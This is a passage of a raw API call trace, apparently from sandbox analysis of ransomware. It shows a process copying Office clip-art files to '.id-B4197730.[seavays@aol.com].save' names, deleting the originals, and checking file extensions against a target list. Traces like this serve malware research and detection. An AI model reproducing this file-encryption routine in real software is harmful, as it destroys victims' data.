dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.768] GetLastError () returned 0x0 [0210.768] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x1424, lpOverlapped=0x0) returned 1 [0210.769] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x1430, lpOverlapped=0x0) returned 1 [0211.261] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.261] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.261] SetEndOfFile (hFile=0x370) returned 1 [0211.261] CloseHandle (hObject=0x370) returned 1 [0211.261] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.261] SetEndOfFile (hFile=0x394) returned 1 [0211.262] CloseHandle (hObject=0x394) returned 1 [0211.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0211.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0211.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.264] lstrlenW (lpString=".doc") returned 4 [0211.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.264] lstrlenW (lpString=".docx") returned 5 [0211.264] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.264] lstrlenW (lpString=".pdf") returned 4 [0211.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.264] lstrlenW (lpString=".xls") returned 4 [0211.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.264] lstrlenW (lpString=".xlsx") returned 5 [0211.264] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.264] lstrlenW (lpString=".ppt") returned 4 [0211.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.264] lstrlenW (lpString=".zip") returned 4 [0211.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.264] lstrlenW (lpString=".rar") returned 4 [0211.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.264] lstrlenW (lpString=".bz2") returned 4 [0211.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.264] lstrlenW (lpString=".7z") returned 3 [0211.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.264] lstrlenW (lpString=".dbf") returned 4 [0211.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.264] lstrlenW (lpString=".1cd") returned 4 [0211.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.265] lstrlenW (lpString=".jpg") returned 4 [0211.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.265] lstrlenW (lpString=".doc") returned 4 [0211.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.265] lstrlenW (lpString=".docx") returned 5 [0211.265] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.265] lstrlenW (lpString=".pdf") returned 4 [0211.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.265] lstrlenW (lpString=".xls") returned 4 [0211.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.265] lstrlenW (lpString=".xlsx") returned 5 [0211.265] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.265] lstrlenW (lpString=".ppt") returned 4 [0211.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.265] lstrlenW (lpString=".zip") returned 4 [0211.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.265] lstrlenW (lpString=".rar") returned 4 [0211.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.265] lstrlenW (lpString=".bz2") returned 4 [0211.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.265] lstrlenW (lpString=".7z") returned 3 [0211.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.265] lstrlenW (lpString=".dbf") returned 4 [0211.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.266] lstrlenW (lpString=".1cd") returned 4 [0211.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0211.266] lstrlenW (lpString=".jpg") returned 4 [0211.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.099] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.099] lstrlenW (lpString="J0106222.WMF") returned 12 [0212.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0212.099] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=19600) returned 1 [0212.099] CloseHandle (hObject=0x370) returned 1 [0212.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0212.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0212.100] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.100] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0212.101] GetLastError () returned 0x0 [0212.101] ReadFile (in: hFile=0x370, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x4c90, lpOverlapped=0x0) returned 1 [0212.102] WriteFile (in: hFile=0x390, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0212.104] ReadFile (in: hFile=0x370, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.104] WriteFile (in: hFile=0x390, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.104] SetEndOfFile (hFile=0x390) returned 1 [0212.104] CloseHandle (hObject=0x390) returned 1 [0212.104] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.105] SetEndOfFile (hFile=0x370) returned 1 [0212.106] CloseHandle (hObject=0x370) returned 1 [0212.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0212.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.107] lstrlenW (lpString=".doc") returned 4 [0212.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.107] lstrlenW (lpString=".docx") returned 5 [0212.107] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.107] lstrlenW (lpString=".pdf") returned 4 [0212.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.107] lstrlenW (lpString=".xls") returned 4 [0212.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.107] lstrlenW (lpString=".xlsx") returned 5 [0212.107] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.107] lstrlenW (lpString=".ppt") returned 4 [0212.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.107] lstrlenW (lpString=".zip") returned 4 [0212.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.107] lstrlenW (lpString=".rar") returned 4 [0212.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.108] lstrlenW (lpString=".bz2") returned 4 [0212.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.108] lstrlenW (lpString=".7z") returned 3 [0212.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.108] lstrlenW (lpString=".dbf") returned 4 [0212.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.108] lstrlenW (lpString=".1cd") returned 4 [0212.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.108] lstrlenW (lpString=".jpg") returned 4 [0212.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.108] lstrlenW (lpString=".doc") returned 4 [0212.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.108] lstrlenW (lpString=".docx") returned 5 [0212.108] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.108] lstrlenW (lpString=".pdf") returned 4 [0212.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.108] lstrlenW (lpString=".xls") returned 4 [0212.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.108] lstrlenW (lpString=".xlsx") returned 5 [0212.108] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.109] lstrlenW (lpString=".ppt") returned 4 [0212.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.109] lstrlenW (lpString=".zip") returned 4 [0212.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.109] lstrlenW (lpString=".rar") returned 4 [0212.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.109] lstrlenW (lpString=".bz2") returned 4 [0212.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.109] lstrlenW (lpString=".7z") returned 3 [0212.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.109] lstrlenW (lpString=".dbf") returned 4 [0212.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.109] lstrlenW (lpString=".1cd") returned 4 [0212.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0212.109] lstrlenW (lpString=".jpg") returned 4 [0212.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.109] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.109] lstrlenW (lpString="J0106572.WMF") returned 12 [0212.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0212.110] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=2148) returned 1 [0212.110] CloseHandle (hObject=0x370) returned 1 [0212.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0212.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0212.111] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.111] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0212.117] GetLastError () returned 0x0 [0212.118] ReadFile (in: hFile=0x370, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x864, lpOverlapped=0x0) returned 1 [0212.119] WriteFile (in: hFile=0x390, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x870, lpOverlapped=0x0) returned 1 [0212.120] ReadFile (in: hFile=0x370, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.120] WriteFile (in: hFile=0x390, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.120] SetEndOfFile (hFile=0x390) returned 1 [0212.120] CloseHandle (hObject=0x390) returned 1 [0212.120] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.120] SetEndOfFile (hFile=0x370) returned 1 [0212.121] CloseHandle (hObject=0x370) returned 1 [0212.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0212.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.123] lstrlenW (lpString=".doc") returned 4 [0212.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.123] lstrlenW (lpString=".docx") returned 5 [0212.123] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.123] lstrlenW (lpString=".pdf") returned 4 [0212.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.123] lstrlenW (lpString=".xls") returned 4 [0212.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.123] lstrlenW (lpString=".xlsx") returned 5 [0212.123] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.123] lstrlenW (lpString=".ppt") returned 4 [0212.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.123] lstrlenW (lpString=".zip") returned 4 [0212.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.123] lstrlenW (lpString=".rar") returned 4 [0212.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.123] lstrlenW (lpString=".bz2") returned 4 [0212.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.123] lstrlenW (lpString=".7z") returned 3 [0212.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.123] lstrlenW (lpString=".dbf") returned 4 [0212.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.124] lstrlenW (lpString=".1cd") returned 4 [0212.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.124] lstrlenW (lpString=".jpg") returned 4 [0212.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.124] lstrlenW (lpString=".doc") returned 4 [0212.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.124] lstrlenW (lpString=".docx") returned 5 [0212.124] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.124] lstrlenW (lpString=".pdf") returned 4 [0212.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.124] lstrlenW (lpString=".xls") returned 4 [0212.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.124] lstrlenW (lpString=".xlsx") returned 5 [0212.124] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.124] lstrlenW (lpString=".ppt") returned 4 [0212.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.124] lstrlenW (lpString=".zip") returned 4 [0212.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.124] lstrlenW (lpString=".rar") returned 4 [0212.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.125] lstrlenW (lpString=".bz2") returned 4 [0212.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.125] lstrlenW (lpString=".7z") returned 3 [0212.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.125] lstrlenW (lpString=".dbf") returned 4 [0212.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.125] lstrlenW (lpString=".1cd") returned 4 [0212.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0212.125] lstrlenW (lpString=".jpg") returned 4 [0212.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.125] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.125] lstrlenW (lpString="J0106816.WMF") returned 12 [0212.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0212.126] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=3332) returned 1 [0212.126] CloseHandle (hObject=0x370) returned 1 [0212.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0212.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0212.126] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.126] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 95 os_tid = 0x4ec [0205.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x34e0930 [0205.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x34f0938 [0205.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617230 [0205.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e408 [0205.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617140 [0205.445] RtlAllocateHeap (HeapHandle=0x5c0000, 